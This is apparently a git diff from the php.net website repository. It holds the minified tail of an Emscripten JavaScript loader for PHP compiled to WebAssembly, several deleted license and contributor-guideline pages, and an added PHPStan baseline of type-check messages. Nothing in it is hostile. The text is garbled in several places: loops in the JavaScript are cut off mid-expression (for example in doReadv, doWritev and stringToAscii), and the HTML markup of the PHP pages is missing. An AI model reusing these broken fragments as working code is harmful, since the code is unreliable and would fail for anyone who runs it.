rightsInheriting=0;var flags=0;{var stream=SYSCALLS.getStreamFromFD(fd);var type=stream.tty?2:FS.isDir(stream.mode)?3:FS.isLink(stream.mode)?7:4}HEAP8[pbuf]=type;HEAP16[pbuf+2>>1]=flags;HEAP64[pbuf+8>>3]=BigInt(rightsBase);HEAP64[pbuf+16>>3]=BigInt(rightsInheriting);return 0}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return e.errno}}var doReadv=(stream,iov,iovcnt,offset)=>{var ret=0;for(var i=0;i>2];var len=HEAPU32[iov+4>>2];iov+=8;var curr=FS.read(stream,HEAP8,ptr,len,offset);if(curr<0)return-1;ret+=curr;if(curr>2]=num;return 0}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return e.errno}}function _fd_seek(fd,offset,whence,newOffset){offset=bigintToI53Checked(offset);try{if(isNaN(offset))return 61;var stream=SYSCALLS.getStreamFromFD(fd);FS.llseek(stream,offset,whence);HEAP64[newOffset>>3]=BigInt(stream.position);if(stream.getdents&&offset===0&&whence===0)stream.getdents=null;return 0}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return e.errno}}function _fd_sync(fd){try{var stream=SYSCALLS.getStreamFromFD(fd);if(stream.stream_ops?.fsync){return stream.stream_ops.fsync(stream)}return 0}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return e.errno}}var doWritev=(stream,iov,iovcnt,offset)=>{var ret=0;for(var i=0;i>2];var len=HEAPU32[iov+4>>2];iov+=8;var curr=FS.write(stream,HEAP8,ptr,len,offset);if(curr<0)return-1;ret+=curr;if(curr>2]=num;return 0}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return e.errno}}var _getaddrinfo=(node,service,hint,out)=>{var addr=0;var port=0;var flags=0;var family=0;var type=0;var proto=0;var ai;function allocaddrinfo(family,type,proto,canon,addr,port){var sa,salen,ai;var errno;salen=family===10?28:16;addr=family===10?inetNtop6(addr):inetNtop4(addr);sa=_malloc(salen);errno=writeSockaddr(sa,family,addr,port);ai=_malloc(32);HEAP32[ai+4>>2]=family;HEAP32[ai+8>>2]=type;HEAP32[ai+12>>2]=proto;HEAPU32[ai+24>>2]=canon;HEAPU32[ai+20>>2]=sa;if(family===10){HEAP32[ai+16>>2]=28}else{HEAP32[ai+16>>2]=16}HEAP32[ai+28>>2]=0;return ai}if(hint){flags=HEAP32[hint>>2];family=HEAP32[hint+4>>2];type=HEAP32[hint+8>>2];proto=HEAP32[hint+12>>2]}if(type&&!proto){proto=type===2?17:6}if(!type&&proto){type=proto===17?2:1}if(proto===0){proto=6}if(type===0){type=1}if(!node&&!service){return-2}if(flags&~(1|2|4|1024|8|16|32)){return-1}if(hint!==0&&HEAP32[hint>>2]&2&&!node){return-1}if(flags&32){return-2}if(type!==0&&type!==1&&type!==2){return-7}if(family!==0&&family!==2&&family!==10){return-6}if(service){service=UTF8ToString(service);port=parseInt(service,10);if(isNaN(port)){if(flags&1024){return-2}return-8}}if(!node){if(family===0){family=2}if((flags&1)===0){if(family===2){addr=_htonl(2130706433)}else{addr=[0,0,0,_htonl(1)]}}ai=allocaddrinfo(family,type,proto,null,addr,port);HEAPU32[out>>2]=ai;return 0}node=UTF8ToString(node);addr=inetPton4(node);if(addr!==null){if(family===0||family===2){family=2}else if(family===10&&flags&8){addr=[0,0,_htonl(65535),addr];family=10}else{return-2}}else{addr=inetPton6(node);if(addr!==null){if(family===0||family===10){family=10}else{return-2}}}if(addr!=null){ai=allocaddrinfo(family,type,proto,node,addr,port);HEAPU32[out>>2]=ai;return 0}if(flags&4){return-2}node=DNS.lookup_name(node);addr=inetPton4(node);if(family===0){family=2}else if(family===10){addr=[0,0,_htonl(65535),addr]}ai=allocaddrinfo(family,type,proto,null,addr,port);HEAPU32[out>>2]=ai;return 0};function _getcontext(...args){abort("missing function: getcontext")}_getcontext.stub=true;function _getdtablesize(...args){abort("missing function: getdtablesize")}_getdtablesize.stub=true;var _getnameinfo=(sa,salen,node,nodelen,serv,servlen,flags)=>{var info=readSockaddr(sa,salen);if(info.errno){return-6}var port=info.port;var addr=info.addr;var overflowed=false;if(node&&nodelen){var lookup;if(flags&1||!(lookup=DNS.lookup_addr(addr))){if(flags&8){return-2}}else{addr=lookup}var numBytesWrittenExclNull=stringToUTF8(addr,node,nodelen);if(numBytesWrittenExclNull+1>=nodelen){overflowed=true}}if(serv&&servlen){port=""+port;var numBytesWrittenExclNull=stringToUTF8(port,serv,servlen);if(numBytesWrittenExclNull+1>=servlen){overflowed=true}}if(overflowed){return-12}return 0};var Protocols={list:[],map:{}};var stringToAscii=(str,buffer)=>{for(var i=0;i{function allocprotoent(name,proto,aliases){var nameBuf=_malloc(name.length+1);stringToAscii(name,nameBuf);var j=0;var length=aliases.length;var aliasListBuf=_malloc((length+1)*4);for(var i=0;i>2]=aliasBuf}HEAPU32[aliasListBuf+j>>2]=0;var pe=_malloc(12);HEAPU32[pe>>2]=nameBuf;HEAPU32[pe+4>>2]=aliasListBuf;HEAP32[pe+8>>2]=proto;return pe}var list=Protocols.list;var map=Protocols.map;if(list.length===0){var entry=allocprotoent("tcp",6,["TCP"]);list.push(entry);map["tcp"]=map["6"]=entry;entry=allocprotoent("udp",17,["UDP"]);list.push(entry);map["udp"]=map["17"]=entry}_setprotoent.index=0};var _getprotobyname=name=>{name=UTF8ToString(name);_setprotoent(true);var result=Protocols.map[name];return result};var _getprotobynumber=number=>{_setprotoent(true);var result=Protocols.map[number];return result};function _initgroups(...args){abort("missing function: initgroups")}_initgroups.stub=true;function _makecontext(...args){abort("missing function: makecontext")}_makecontext.stub=true;function _posix_spawnp(...args){abort("missing function: posix_spawnp")}_posix_spawnp.stub=true;var arraySum=(array,index)=>{var sum=0;for(var i=0;i<=index;sum+=array[i++]){}return sum};var MONTH_DAYS_LEAP=[31,29,31,30,31,30,31,31,30,31,30,31];var MONTH_DAYS_REGULAR=[31,28,31,30,31,30,31,31,30,31,30,31];var addDays=(date,days)=>{var newDate=new Date(date.getTime());while(days>0){var leap=isLeapYear(newDate.getFullYear());var currentMonth=newDate.getMonth();var daysInCurrentMonth=(leap?MONTH_DAYS_LEAP:MONTH_DAYS_REGULAR)[currentMonth];if(days>daysInCurrentMonth-newDate.getDate()){days-=daysInCurrentMonth-newDate.getDate()+1;newDate.setDate(1);if(currentMonth<11){newDate.setMonth(currentMonth+1)}else{newDate.setMonth(0);newDate.setFullYear(newDate.getFullYear()+1)}}else{newDate.setDate(newDate.getDate()+days);return newDate}}return newDate};var _strptime=(buf,format,tm)=>{var pattern=UTF8ToString(format);var SPECIAL_CHARS="\\!@#$^&*()+=-[]/{}|:<>?,.";for(var i=0,ii=SPECIAL_CHARS.length;iEQUIVALENT_MATCHERS[c]||m).replace(/%(.)/g,(_,c)=>{let pat=DATE_PATTERNS[c];if(pat){capture.push(c);return`(${pat})`}else{return c}}).replace(/\s+/g,"\\s*");var matches=new RegExp("^"+pattern_out,"i").exec(UTF8ToString(buf));function initDate(){function fixup(value,min,max){return typeof value!="number"||isNaN(value)?min:value>=min?value<=max?value:max:min}return{year:fixup(HEAP32[tm+20>>2]+1900,1970,9999),month:fixup(HEAP32[tm+16>>2],0,11),day:fixup(HEAP32[tm+12>>2],1,31),hour:fixup(HEAP32[tm+8>>2],0,23),min:fixup(HEAP32[tm+4>>2],0,59),sec:fixup(HEAP32[tm>>2],0,59),gmtoff:0}}if(matches){var date=initDate();var value;var getMatch=symbol=>{var pos=capture.indexOf(symbol);if(pos>=0){return matches[pos+1]}return};if(value=getMatch("S")){date.sec=Number(value)}if(value=getMatch("M")){date.min=Number(value)}if(value=getMatch("H")){date.hour=Number(value)}else if(value=getMatch("I")){var hour=Number(value);if(value=getMatch("p")){hour+=value.toUpperCase()[0]==="P"?12:0}date.hour=hour}if(value=getMatch("Y")){date.year=Number(value)}else if(value=getMatch("y")){var year=Number(value);if(value=getMatch("C")){year+=Number(value)*100}else{year+=year<69?2e3:1900}date.year=year}if(value=getMatch("m")){date.month=Number(value)-1}else if(value=getMatch("b")){date.month=MONTH_NUMBERS[value.substring(0,3).toUpperCase()]||0}if(value=getMatch("d")){date.day=Number(value)}else if(value=getMatch("j")){var day=Number(value);var leapYear=isLeapYear(date.year);for(var month=0;month<12;++month){var daysUntilMonth=arraySum(leapYear?MONTH_DAYS_LEAP:MONTH_DAYS_REGULAR,month-1);if(day<=daysUntilMonth+(leapYear?MONTH_DAYS_LEAP:MONTH_DAYS_REGULAR)[month]){date.day=day-daysUntilMonth}}}else if(value=getMatch("a")){var weekDay=value.substring(0,3).toUpperCase();if(value=getMatch("U")){var weekDayNumber=DAY_NUMBERS_SUN_FIRST[weekDay];var weekNumber=Number(value);var janFirst=new Date(date.year,0,1);var endDate;if(janFirst.getDay()===0){endDate=addDays(janFirst,weekDayNumber+7*(weekNumber-1))}else{endDate=addDays(janFirst,7-janFirst.getDay()+weekDayNumber+7*(weekNumber-1))}date.day=endDate.getDate();date.month=endDate.getMonth()}else if(value=getMatch("W")){var weekDayNumber=DAY_NUMBERS_MON_FIRST[weekDay];var weekNumber=Number(value);var janFirst=new Date(date.year,0,1);var endDate;if(janFirst.getDay()===1){endDate=addDays(janFirst,weekDayNumber+7*(weekNumber-1))}else{endDate=addDays(janFirst,7-janFirst.getDay()+1+weekDayNumber+7*(weekNumber-1))}date.day=endDate.getDate();date.month=endDate.getMonth()}}if(value=getMatch("z")){if(value.toLowerCase()==="z"){date.gmtoff=0}else{var match=value.match(/^((?:\-|\+)\d\d):?(\d\d)?/);date.gmtoff=match[1]*3600;if(match[2]){date.gmtoff+=date.gmtoff>0?match[2]*60:-match[2]*60}}}var fullDate=new Date(date.year,date.month,date.day,date.hour,date.min,date.sec,0);HEAP32[tm>>2]=fullDate.getSeconds();HEAP32[tm+4>>2]=fullDate.getMinutes();HEAP32[tm+8>>2]=fullDate.getHours();HEAP32[tm+12>>2]=fullDate.getDate();HEAP32[tm+16>>2]=fullDate.getMonth();HEAP32[tm+20>>2]=fullDate.getFullYear()-1900;HEAP32[tm+24>>2]=fullDate.getDay();HEAP32[tm+28>>2]=arraySum(isLeapYear(fullDate.getFullYear())?MONTH_DAYS_LEAP:MONTH_DAYS_REGULAR,fullDate.getMonth()-1)+fullDate.getDate()-1;HEAP32[tm+32>>2]=0;HEAP32[tm+36>>2]=date.gmtoff;return buf+lengthBytesUTF8(matches[0])}return 0};function _swapcontext(...args){abort("missing function: swapcontext")}_swapcontext.stub=true;var getCFunc=ident=>{var func=Module["_"+ident];return func};var writeArrayToMemory=(array,buffer)=>{HEAP8.set(array,buffer)};var stackAlloc=sz=>__emscripten_stack_alloc(sz);var stringToUTF8OnStack=str=>{var size=lengthBytesUTF8(str)+1;var ret=stackAlloc(size);stringToUTF8(str,ret,size);return ret};var ccall=(ident,returnType,argTypes,args,opts)=>{var toC={string:str=>{var ret=0;if(str!==null&&str!==undefined&&str!==0){ret=stringToUTF8OnStack(str)}return ret},array:arr=>{var ret=stackAlloc(arr.length);writeArrayToMemory(arr,ret);return ret}};function convertReturnValue(ret){if(returnType==="string"){return UTF8ToString(ret)}if(returnType==="boolean")return Boolean(ret);return ret}var func=getCFunc(ident);var cArgs=[];var stack=0;if(args){for(var i=0;iFS.createPath(...args);var FS_unlink=(...args)=>FS.unlink(...args);var FS_createLazyFile=(...args)=>FS.createLazyFile(...args);var FS_createDevice=(...args)=>FS.createDevice(...args);FS.createPreloadedFile=FS_createPreloadedFile;FS.preloadFile=FS_preloadFile;FS.staticInit();{if(Module["noExitRuntime"])noExitRuntime=Module["noExitRuntime"];if(Module["preloadPlugins"])preloadPlugins=Module["preloadPlugins"];if(Module["print"])out=Module["print"];if(Module["printErr"])err=Module["printErr"];if(Module["wasmBinary"])wasmBinary=Module["wasmBinary"];if(Module["arguments"])arguments_=Module["arguments"];if(Module["thisProgram"])thisProgram=Module["thisProgram"];if(Module["preInit"]){if(typeof Module["preInit"]=="function")Module["preInit"]=[Module["preInit"]];while(Module["preInit"].length>0){Module["preInit"].shift()()}}}Module["addRunDependency"]=addRunDependency;Module["removeRunDependency"]=removeRunDependency;Module["ccall"]=ccall;Module["UTF8ToString"]=UTF8ToString;Module["lengthBytesUTF8"]=lengthBytesUTF8;Module["FS_preloadFile"]=FS_preloadFile;Module["FS_unlink"]=FS_unlink;Module["FS_createPath"]=FS_createPath;Module["FS_createDevice"]=FS_createDevice;Module["FS"]=FS;Module["FS_createDataFile"]=FS_createDataFile;Module["FS_createLazyFile"]=FS_createLazyFile;Module["LZ4"]=LZ4;var _php_embed_init,_php_embed_shutdown,_phpw_flush,_phpw_exec,_setenv,_zend_eval_string,_phpw_run,_phpw,_chdir,_malloc,_htonl,_ntohs,_htons,_emscripten_builtin_memalign,__emscripten_timeout,_setThrew,__emscripten_stack_restore,__emscripten_stack_alloc,_emscripten_stack_get_current,memory,__indirect_function_table,wasmMemory,wasmTable;function assignWasmExports(wasmExports){_php_embed_init=Module["_php_embed_init"]=wasmExports["php_embed_init"];_php_embed_shutdown=Module["_php_embed_shutdown"]=wasmExports["php_embed_shutdown"];_phpw_flush=Module["_phpw_flush"]=wasmExports["phpw_flush"];_phpw_exec=Module["_phpw_exec"]=wasmExports["phpw_exec"];_setenv=Module["_setenv"]=wasmExports["setenv"];_zend_eval_string=Module["_zend_eval_string"]=wasmExports["zend_eval_string"];_phpw_run=Module["_phpw_run"]=wasmExports["phpw_run"];_phpw=Module["_phpw"]=wasmExports["phpw"];_chdir=Module["_chdir"]=wasmExports["chdir"];_malloc=wasmExports["malloc"];_htonl=wasmExports["htonl"];_ntohs=wasmExports["ntohs"];_htons=wasmExports["htons"];_emscripten_builtin_memalign=wasmExports["emscripten_builtin_memalign"];__emscripten_timeout=wasmExports["_emscripten_timeout"];_setThrew=wasmExports["setThrew"];__emscripten_stack_restore=wasmExports["_emscripten_stack_restore"];__emscripten_stack_alloc=wasmExports["_emscripten_stack_alloc"];_emscripten_stack_get_current=wasmExports["emscripten_stack_get_current"];memory=wasmMemory=wasmExports["memory"];__indirect_function_table=wasmTable=wasmExports["__indirect_function_table"]}var wasmImports={__call_sighandler:___call_sighandler,__syscall__newselect:___syscall__newselect,__syscall_accept4:___syscall_accept4,__syscall_bind:___syscall_bind,__syscall_chdir:___syscall_chdir,__syscall_chmod:___syscall_chmod,__syscall_connect:___syscall_connect,__syscall_dup:___syscall_dup,__syscall_faccessat:___syscall_faccessat,__syscall_fchmod:___syscall_fchmod,__syscall_fchownat:___syscall_fchownat,__syscall_fcntl64:___syscall_fcntl64,__syscall_fdatasync:___syscall_fdatasync,__syscall_fstat64:___syscall_fstat64,__syscall_ftruncate64:___syscall_ftruncate64,__syscall_getcwd:___syscall_getcwd,__syscall_getdents64:___syscall_getdents64,__syscall_getpeername:___syscall_getpeername,__syscall_getsockname:___syscall_getsockname,__syscall_getsockopt:___syscall_getsockopt,__syscall_ioctl:___syscall_ioctl,__syscall_listen:___syscall_listen,__syscall_lstat64:___syscall_lstat64,__syscall_mkdirat:___syscall_mkdirat,__syscall_newfstatat:___syscall_newfstatat,__syscall_openat:___syscall_openat,__syscall_pipe:___syscall_pipe,__syscall_poll:___syscall_poll,__syscall_readlinkat:___syscall_readlinkat,__syscall_recvfrom:___syscall_recvfrom,__syscall_renameat:___syscall_renameat,__syscall_rmdir:___syscall_rmdir,__syscall_sendto:___syscall_sendto,__syscall_socket:___syscall_socket,__syscall_stat64:___syscall_stat64,__syscall_statfs64:___syscall_statfs64,__syscall_symlinkat:___syscall_symlinkat,__syscall_unlinkat:___syscall_unlinkat,__syscall_utimensat:___syscall_utimensat,_abort_js:__abort_js,_emscripten_fs_load_embedded_files:__emscripten_fs_load_embedded_files,_emscripten_lookup_name:__emscripten_lookup_name,_emscripten_runtime_keepalive_clear:__emscripten_runtime_keepalive_clear,_emscripten_throw_longjmp:__emscripten_throw_longjmp,_gmtime_js:__gmtime_js,_localtime_js:__localtime_js,_mktime_js:__mktime_js,_mmap_js:__mmap_js,_munmap_js:__munmap_js,_setitimer_js:__setitimer_js,_tzset_js:__tzset_js,clock_time_get:_clock_time_get,emscripten_date_now:_emscripten_date_now,emscripten_get_heap_max:_emscripten_get_heap_max,emscripten_get_now:_emscripten_get_now,emscripten_resize_heap:_emscripten_resize_heap,environ_get:_environ_get,environ_sizes_get:_environ_sizes_get,exit:_exit,fd_close:_fd_close,fd_fdstat_get:_fd_fdstat_get,fd_read:_fd_read,fd_seek:_fd_seek,fd_sync:_fd_sync,fd_write:_fd_write,getaddrinfo:_getaddrinfo,getcontext:_getcontext,getdtablesize:_getdtablesize,getnameinfo:_getnameinfo,getprotobyname:_getprotobyname,getprotobynumber:_getprotobynumber,initgroups:_initgroups,invoke_i,invoke_ii,invoke_iii,invoke_iiidii,invoke_iiii,invoke_iiiii,invoke_iiiiii,invoke_iiiiiii,invoke_iiiiiiiiii,invoke_jii,invoke_v,invoke_vi,invoke_vii,invoke_viii,invoke_viiii,invoke_viiiii,invoke_viiiiii,makecontext:_makecontext,posix_spawnp:_posix_spawnp,proc_exit:_proc_exit,strptime:_strptime,swapcontext:_swapcontext};function invoke_iiii(index,a1,a2,a3){var sp=stackSave();try{return getWasmTableEntry(index)(a1,a2,a3)}catch(e){stackRestore(sp);if(e!==e+0)throw e;_setThrew(1,0)}}function invoke_iii(index,a1,a2){var sp=stackSave();try{return getWasmTableEntry(index)(a1,a2)}catch(e){stackRestore(sp);if(e!==e+0)throw e;_setThrew(1,0)}}function invoke_vi(index,a1){var sp=stackSave();try{getWasmTableEntry(index)(a1)}catch(e){stackRestore(sp);if(e!==e+0)throw e;_setThrew(1,0)}}function invoke_v(index){var sp=stackSave();try{getWasmTableEntry(index)()}catch(e){stackRestore(sp);if(e!==e+0)throw e;_setThrew(1,0)}}function invoke_vii(index,a1,a2){var sp=stackSave();try{getWasmTableEntry(index)(a1,a2)}catch(e){stackRestore(sp);if(e!==e+0)throw e;_setThrew(1,0)}}function invoke_ii(index,a1){var sp=stackSave();try{return getWasmTableEntry(index)(a1)}catch(e){stackRestore(sp);if(e!==e+0)throw e;_setThrew(1,0)}}function invoke_i(index){var sp=stackSave();try{return getWasmTableEntry(index)()}catch(e){stackRestore(sp);if(e!==e+0)throw e;_setThrew(1,0)}}function invoke_iiiii(index,a1,a2,a3,a4){var sp=stackSave();try{return getWasmTableEntry(index)(a1,a2,a3,a4)}catch(e){stackRestore(sp);if(e!==e+0)throw e;_setThrew(1,0)}}function invoke_iiiiii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return getWasmTableEntry(index)(a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(e!==e+0)throw e;_setThrew(1,0)}}function invoke_iiidii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return getWasmTableEntry(index)(a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(e!==e+0)throw e;_setThrew(1,0)}}function invoke_viii(index,a1,a2,a3){var sp=stackSave();try{getWasmTableEntry(index)(a1,a2,a3)}catch(e){stackRestore(sp);if(e!==e+0)throw e;_setThrew(1,0)}}function invoke_viiii(index,a1,a2,a3,a4){var sp=stackSave();try{getWasmTableEntry(index)(a1,a2,a3,a4)}catch(e){stackRestore(sp);if(e!==e+0)throw e;_setThrew(1,0)}}function invoke_iiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{return getWasmTableEntry(index)(a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(e!==e+0)throw e;_setThrew(1,0)}}function invoke_iiiiiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return getWasmTableEntry(index)(a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(e!==e+0)throw e;_setThrew(1,0)}}function invoke_viiiiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{getWasmTableEntry(index)(a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(e!==e+0)throw e;_setThrew(1,0)}}function invoke_jii(index,a1,a2){var sp=stackSave();try{return getWasmTableEntry(index)(a1,a2)}catch(e){stackRestore(sp);if(e!==e+0)throw e;_setThrew(1,0);return 0n}}function invoke_viiiii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{getWasmTableEntry(index)(a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(e!==e+0)throw e;_setThrew(1,0)}}function run(){if(runDependencies>0){dependenciesFulfilled=run;return}preRun();if(runDependencies>0){dependenciesFulfilled=run;return}function doRun(){Module["calledRun"]=true;if(ABORT)return;initRuntime();readyPromiseResolve?.(Module);Module["onRuntimeInitialized"]?.();postRun()}if(Module["setStatus"]){Module["setStatus"]("Running...");setTimeout(()=>{setTimeout(()=>Module["setStatus"](""),1);doRun()},1)}else{doRun()}}var wasmExports;wasmExports=await (createWasm());run();if(runtimeInitialized){moduleRtn=Module}else{moduleRtn=new Promise((resolve,reject)=>{readyPromiseResolve=resolve;readyPromiseReject=reject})} -;return moduleRtn}export default createPhpModule; diff --git a/license/contrib-guidelines-code.php b/license/contrib-guidelines-code.php deleted file mode 100644 index 7e54d6586e..0000000000 --- a/license/contrib-guidelines-code.php +++ /dev/null @@ -1,43 +0,0 @@ - "help"]); -?> -

PHP Contributor Guidelines for Code Developers

- -

- Before you complete the form to request a Git account, you must understand and accept the principles under which PHP - itself is developed. These are summarised in the next paragraph. -

-

- Any code contributed to PHP must be contributed under the PHP license (or a compatible BSD-style license). - PHP will be redistributed under the PHP license (currently - version 3.01). - This includes implementation code, test cases, utility scripts and tools - that is, all code associated - with the PHP project. If you contribute code that isn't entirely your own - (for example it may be partially derived from other Open Source software) you are asked to add a comment - into the source code to indicate the origin and the license of the original code. - If you are unsure of the license you are asked to confirm with the owner of the code that they are - happy for it to be contributed to PHP under the PHP license. -

-

- Specifically regarding GPL and LGPL source code: -

-
    -
  • GPL or LGPL licensed code cannot be used as a basis for any derived work contributed to PHP.
  • -
  • Extensions which link GPL'd libraries will not be accepted.
  • -
  • Extensions which link to LGPL libraries will be strongly discouraged.
  • -
- - -

Guidelines for Related Projects

- -

- For related projects, please refer to the Project websites: -

- - - -

Contents

- -
    -
  1. PHP Codebase
  2. -
  3. PHP Documentation
  4. -
  5. PHP Website
  6. -
  7. PHP Logo
  8. -
  9. FAQ's
  10. -
  11. Licensing information for related projects
  12. -
- -EOF; - -site_header("License Information", ["current" => "help"]); -?> - -

PHP Licensing

- - -

PHP Codebase

- -
    -
  • - Starting with PHP 4, versions of the PHP software are distributed under the - PHP License v3.01, copyright (c) the PHP Group. -
      -
    • - This is an Open Source license, - certified by the Open Source Initiative. -
    • -
    • - The PHP license is a BSD-style license which does not have the "copyleft" - restrictions associated with GPL. -
    • -
    -
  • -
  • - Some files have been contributed under other (compatible) licenses and carry - additional requirements and copyright information.
    - This is indicated in the license + copyright comment block at the top of the source file. -
  • -
  • - Practical Guidelines: - -
  • -
- - -

PHP Documentation

- - - - -

PHP Website

- - - - -

PHP Logo

- - - - -

Frequently Asked Questions

- - - - -

Use of the "PHP" name

-

-Q. I've written a project in PHP that I'm going to release -as open source, and I'd like to call it PHPTransmogrifier. Is that -OK? -

- -

-A. -We cannot really stop you from using PHP in the name of -your project unless you include any code from the PHP distribution, in -which case you would be violating the license. -See Clause 4 in the -PHP License v3.01. -
But we would really prefer if people would come up with their own names -independent of the PHP name. -

- -

-"Why?" you ask. You are only trying to contribute to the PHP -community. That may be true, but by using the PHP name you are -explicitly linking your efforts to those of the entire PHP development -community and the years of work that has gone into the PHP project. -Every time a flaw is found in one of the thousands of applications out -there that call themselves "PHP-Something" the negative karma that -generates reflects unfairly on the entire PHP project. We had nothing -to do with PHP-Nuke, for example, and every bugtraq posting on that -says "PHP" in it. Your particular project may in fact be the greatest -thing ever, but we have to be consistent in how we handle these -requests and we honestly have no way of knowing whether your project -is actually the greatest thing ever. -

- -

-So, please, pick a name that stands on its own merits. If your -stuff is good, it will not take long to establish a reputation for -yourselves. Look at Zope, for example, that is a framework for Python -that doesn't have Python in the name. Smarty as well doesn't have PHP -in the name and does quite well. -

- -

Change in licensing from PHP 4 onwards

-

-Q. Why is PHP 4 not dual-licensed under the GNU General -Public License (GPL) like PHP 3 was? -

- -

-A. GPL enforces many restrictions on what can and cannot -be done with the licensed code. The PHP developers decided to -release PHP under a much more loose license (Apache-style), to help -PHP become as popular as possible. -

- - -

Licensing information for related projects

- -

-For related projects, please refer to licensing information on the Project websites: -

- - - $SIDEBAR_DATA]); diff --git a/manual/index.php b/manual/index.php deleted file mode 100644 index 1a3a03c3ac..0000000000 --- a/manual/index.php +++ /dev/null @@ -1,4 +0,0 @@ -\|false given\.$#' + identifier: argument.type + count: 2 + path: include/branches.inc + + - + message: '#^Function bugfix\(\) has parameter \$number with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/changelogs.inc + + - + message: '#^Function bugl\(\) has parameter \$number with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/changelogs.inc + + - + message: '#^Function changelog_footer\(\) has parameter \$minor_versions with no value type specified in iterable type array\.$#' + identifier: missingType.iterableValue + count: 1 + path: include/changelogs.inc + + - + message: '#^Function changelog_header\(\) has parameter \$minor_versions with no value type specified in iterable type array\.$#' + identifier: missingType.iterableValue + count: 1 + path: include/changelogs.inc + + - + message: '#^Function githubissue\(\) has parameter \$number with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/changelogs.inc + + - + message: '#^Function githubissue\(\) has parameter \$repo with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/changelogs.inc + + - + message: '#^Function githubissuel\(\) has parameter \$number with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/changelogs.inc + + - + message: '#^Function githubissuel\(\) has parameter \$repo with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/changelogs.inc + + - + message: '#^Function githubsecurityl\(\) has parameter \$id with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/changelogs.inc + + - + message: '#^Function githubsecurityl\(\) has parameter \$repo with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/changelogs.inc + + - + message: '#^Function implemented\(\) has parameter \$number with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/changelogs.inc + + - + message: '#^Function peclbugfix\(\) has parameter \$number with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/changelogs.inc + + - + message: '#^Function peclbugl\(\) has parameter \$number with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/changelogs.inc + + - + message: '#^Function release_date\(\) has parameter \$in with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/changelogs.inc + + - + message: '#^Function download_file\(\) has parameter \$file with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/do-download.inc + + - + message: '#^Function download_file\(\) has parameter \$mirror with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/do-download.inc + + - + message: '#^Function get_actual_download_file\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/do-download.inc + + - + message: '#^Function get_actual_download_file\(\) has parameter \$file with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/do-download.inc + + - + message: '#^Function blacklisted\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/email-validation.inc + + - + message: '#^Function blacklisted\(\) has parameter \$email with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/email-validation.inc + + - + message: '#^Function clean_AntiSPAM\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/email-validation.inc + + - + message: '#^Function clean_AntiSPAM\(\) has parameter \$email with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/email-validation.inc + + - + message: '#^Function is_emailable_address\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/email-validation.inc + + - + message: '#^Function is_emailable_address\(\) has parameter \$email with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/email-validation.inc + + - + message: '#^Comparison operation "\<" between int\<2, 3\> and 2 is always false\.$#' + identifier: smaller.alwaysFalse + count: 1 + path: include/errors.inc + + - + message: '#^Function error_inactive_manual_page\(\) has parameter \$en_page with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/errors.inc + + - + message: '#^Function error_inactive_manual_page\(\) has parameter \$lang_name with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/errors.inc + + - + message: '#^Function error_nomirror\(\) has parameter \$mirror with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/errors.inc + + - + message: '#^Parameter \#1 \$json of function json_decode expects string, string\|false given\.$#' + identifier: argument.type + count: 1 + path: include/errors.inc + + - + message: '#^Variable \$MYSITE might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: include/get-download.inc + + - + message: '#^Function gpg_key_get_branches\(\) return type has no value type specified in iterable type array\.$#' + identifier: missingType.iterableValue + count: 1 + path: include/gpg-keys.inc + + - + message: '#^Parameter \#2 \$timestamp of function gmdate expects int\|null, float\|int\|string\|false given\.$#' + identifier: argument.type + count: 1 + path: include/header.inc + + - + message: '#^Variable \$MYSITE might not be defined\.$#' + identifier: variable.undefined + count: 9 + path: include/header.inc + + - + message: '#^Variable \$classes might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: include/header.inc + + - + message: '#^Variable \$config might not be defined\.$#' + identifier: variable.undefined + count: 6 + path: include/header.inc + + - + message: '#^Variable \$curr might not be defined\.$#' + identifier: variable.undefined + count: 2 + path: include/header.inc + + - + message: '#^Variable \$lang might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: include/header.inc + + - + message: '#^Variable \$shorturl might not be defined\.$#' + identifier: variable.undefined + count: 3 + path: include/header.inc + + - + message: '#^Variable \$title might not 